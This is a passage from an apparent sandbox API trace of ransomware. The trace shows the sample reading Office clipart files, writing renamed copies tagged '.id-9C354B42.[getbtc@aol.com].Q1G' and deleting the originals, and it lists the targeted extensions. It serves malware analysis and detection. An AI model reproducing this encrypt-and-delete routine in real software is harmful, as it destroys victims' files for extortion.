lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xa82, lpOverlapped=0x0) returned 1 [0247.528] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0247.529] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.529] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.529] SetEndOfFile (hFile=0x3ac) returned 1 [0247.529] CloseHandle (hObject=0x3ac) returned 1 [0247.529] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.529] SetEndOfFile (hFile=0x3bc) returned 1 [0247.541] CloseHandle (hObject=0x3bc) returned 1 [0247.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.567] lstrlenW (lpString=".doc") returned 4 [0247.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.567] lstrlenW (lpString=".docx") returned 5 [0247.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.568] lstrlenW (lpString=".pdf") returned 4 [0247.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString=".xls") returned 4 [0247.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.568] lstrlenW (lpString=".xlsx") returned 5 [0247.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.568] lstrlenW (lpString=".ppt") returned 4 [0247.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.568] lstrlenW (lpString=".zip") returned 4 [0247.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.568] lstrlenW (lpString=".rar") returned 4 [0247.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString=".bz2") returned 4 [0247.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString=".7z") returned 3 [0247.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.568] lstrlenW (lpString=".dbf") returned 4 [0247.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.568] lstrlenW (lpString=".1cd") returned 4 [0247.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.568] lstrlenW (lpString=".jpg") returned 4 [0247.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.568] lstrlenW (lpString=".doc") returned 4 [0247.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString=".docx") returned 5 [0247.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.568] lstrlenW (lpString=".pdf") returned 4 [0247.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.568] lstrlenW (lpString=".xls") returned 4 [0247.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.569] lstrlenW (lpString=".xlsx") returned 5 [0247.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.569] lstrlenW (lpString=".ppt") returned 4 [0247.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.569] lstrlenW (lpString=".zip") returned 4 [0247.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.569] lstrlenW (lpString=".rar") returned 4 [0247.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.569] lstrlenW (lpString=".bz2") returned 4 [0247.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.569] lstrlenW (lpString=".7z") returned 3 [0247.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.569] lstrlenW (lpString=".dbf") returned 4 [0247.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.569] lstrlenW (lpString=".1cd") returned 4 [0247.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0247.569] lstrlenW (lpString=".jpg") returned 4 [0247.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.569] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.569] lstrlenW (lpString="DD00256_.WMF") returned 12 [0247.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.570] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2832) returned 1 [0247.570] CloseHandle (hObject=0x398) returned 1 [0247.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0247.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.571] GetLastError () returned 0x0 [0247.571] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb10, lpOverlapped=0x0) returned 1 [0247.605] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0247.606] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.606] WriteFile (in: hFile=0x3ac, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.606] SetEndOfFile (hFile=0x3ac) returned 1 [0247.606] CloseHandle (hObject=0x3ac) returned 1 [0247.606] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.606] SetEndOfFile (hFile=0x398) returned 1 [0247.608] CloseHandle (hObject=0x398) returned 1 [0247.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.609] lstrlenW (lpString=".doc") returned 4 [0247.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".docx") returned 5 [0247.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.609] lstrlenW (lpString=".pdf") returned 4 [0247.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".xls") returned 4 [0247.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.609] lstrlenW (lpString=".xlsx") returned 5 [0247.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.609] lstrlenW (lpString=".ppt") returned 4 [0247.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.609] lstrlenW (lpString=".zip") returned 4 [0247.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.609] lstrlenW (lpString=".rar") returned 4 [0247.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".bz2") returned 4 [0247.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString=".7z") returned 3 [0247.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.609] lstrlenW (lpString=".dbf") returned 4 [0247.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.609] lstrlenW (lpString=".1cd") returned 4 [0247.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.609] lstrlenW (lpString=".jpg") returned 4 [0247.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.610] lstrlenW (lpString=".doc") returned 4 [0247.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString=".docx") returned 5 [0247.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.610] lstrlenW (lpString=".pdf") returned 4 [0247.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString=".xls") returned 4 [0247.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.610] lstrlenW (lpString=".xlsx") returned 5 [0247.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.610] lstrlenW (lpString=".ppt") returned 4 [0247.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.610] lstrlenW (lpString=".zip") returned 4 [0247.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.610] lstrlenW (lpString=".rar") returned 4 [0247.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString=".bz2") returned 4 [0247.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString=".7z") returned 3 [0247.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.610] lstrlenW (lpString=".dbf") returned 4 [0247.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.610] lstrlenW (lpString=".1cd") returned 4 [0247.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0247.610] lstrlenW (lpString=".jpg") returned 4 [0247.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.610] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.611] lstrlenW (lpString="DD00372_.WMF") returned 12 [0247.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.644] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=792) returned 1 [0247.644] CloseHandle (hObject=0x3a0) returned 1 [0247.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0247.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.771] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.771] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.771] GetLastError () returned 0x0 [0247.771] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x318, lpOverlapped=0x0) returned 1 [0247.835] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x320, lpOverlapped=0x0) returned 1 [0247.836] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.836] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.836] SetEndOfFile (hFile=0x3c0) returned 1 [0247.836] CloseHandle (hObject=0x3c0) returned 1 [0247.836] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.836] SetEndOfFile (hFile=0x3bc) returned 1 [0247.838] CloseHandle (hObject=0x3bc) returned 1 [0247.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0247.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.838] lstrlenW (lpString=".doc") returned 4 [0247.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString=".docx") returned 5 [0247.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.839] lstrlenW (lpString=".pdf") returned 4 [0247.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString=".xls") returned 4 [0247.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.839] lstrlenW (lpString=".xlsx") returned 5 [0247.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.839] lstrlenW (lpString=".ppt") returned 4 [0247.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.839] lstrlenW (lpString=".zip") returned 4 [0247.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.839] lstrlenW (lpString=".rar") returned 4 [0247.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString=".bz2") returned 4 [0247.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString=".7z") returned 3 [0247.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.839] lstrlenW (lpString=".dbf") returned 4 [0247.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.839] lstrlenW (lpString=".1cd") returned 4 [0247.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.839] lstrlenW (lpString=".jpg") returned 4 [0247.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.839] lstrlenW (lpString=".doc") returned 4 [0247.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.839] lstrlenW (lpString=".docx") returned 5 [0247.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.839] lstrlenW (lpString=".pdf") returned 4 [0247.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.840] lstrlenW (lpString=".xls") returned 4 [0247.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.840] lstrlenW (lpString=".xlsx") returned 5 [0247.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.840] lstrlenW (lpString=".ppt") returned 4 [0247.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.840] lstrlenW (lpString=".zip") returned 4 [0247.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.840] lstrlenW (lpString=".rar") returned 4 [0247.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.840] lstrlenW (lpString=".bz2") returned 4 [0247.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.840] lstrlenW (lpString=".7z") returned 3 [0247.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.840] lstrlenW (lpString=".dbf") returned 4 [0247.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.840] lstrlenW (lpString=".1cd") returned 4 [0247.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0247.840] lstrlenW (lpString=".jpg") returned 4 [0247.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.840] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.840] lstrlenW (lpString="DD00449_.WMF") returned 12 [0247.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.841] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9992) returned 1 [0247.841] CloseHandle (hObject=0x3bc) returned 1 [0247.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0247.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.841] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.841] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.842] GetLastError () returned 0x0 [0247.842] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2708, lpOverlapped=0x0) returned 1 [0247.843] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2710, lpOverlapped=0x0) returned 1 [0247.844] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.844] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, 